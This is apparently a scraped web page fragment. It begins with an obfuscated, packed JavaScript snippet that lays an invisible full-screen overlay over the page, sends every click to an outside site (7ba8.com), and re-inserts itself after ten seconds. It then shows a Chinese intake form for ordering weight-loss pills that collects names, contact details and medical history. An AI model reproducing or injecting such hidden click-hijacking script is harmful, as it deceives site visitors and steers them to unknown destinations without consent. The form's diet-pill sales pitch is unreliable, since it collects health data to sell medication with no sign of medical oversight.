<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>1 真实姓名-英文（拼音或按护照上的英文都行,挂号用的)
2 出生年-月-日 ； 性别 (挂号用的)
3 地址 （拼音）和联络电话
4电子邮件
5身高
6 体重 (公斤）
7有沒有药物过敏？若有请写出药名
8 血压是否正常？（如知道数字)
9 身体有沒有重大疾病?(如：心脏病，糖尿病，血压高，甲状腺)
10 吃前有没有吃过任何减肥药 有的话如果记得请填写以下资料
- 是哪里的减肥药？ 药的名称？
- 服药期间有些什么不良的副作用吗？
- 到目前停服减肥药多久？
11 是否长期服用其他的药物，如：维他命,保健药品和治病药物等。
- 若有请写出药名
12 一天 3 顿饭中，哪一顿吃得比较多？
13平时有做运动吗？做些什么运动？
14 會不會便秘? 會不會失眠？
15 理想体重是多少公斤?
16 想要多久量的减肥药（一个月28天是一个疗程） |
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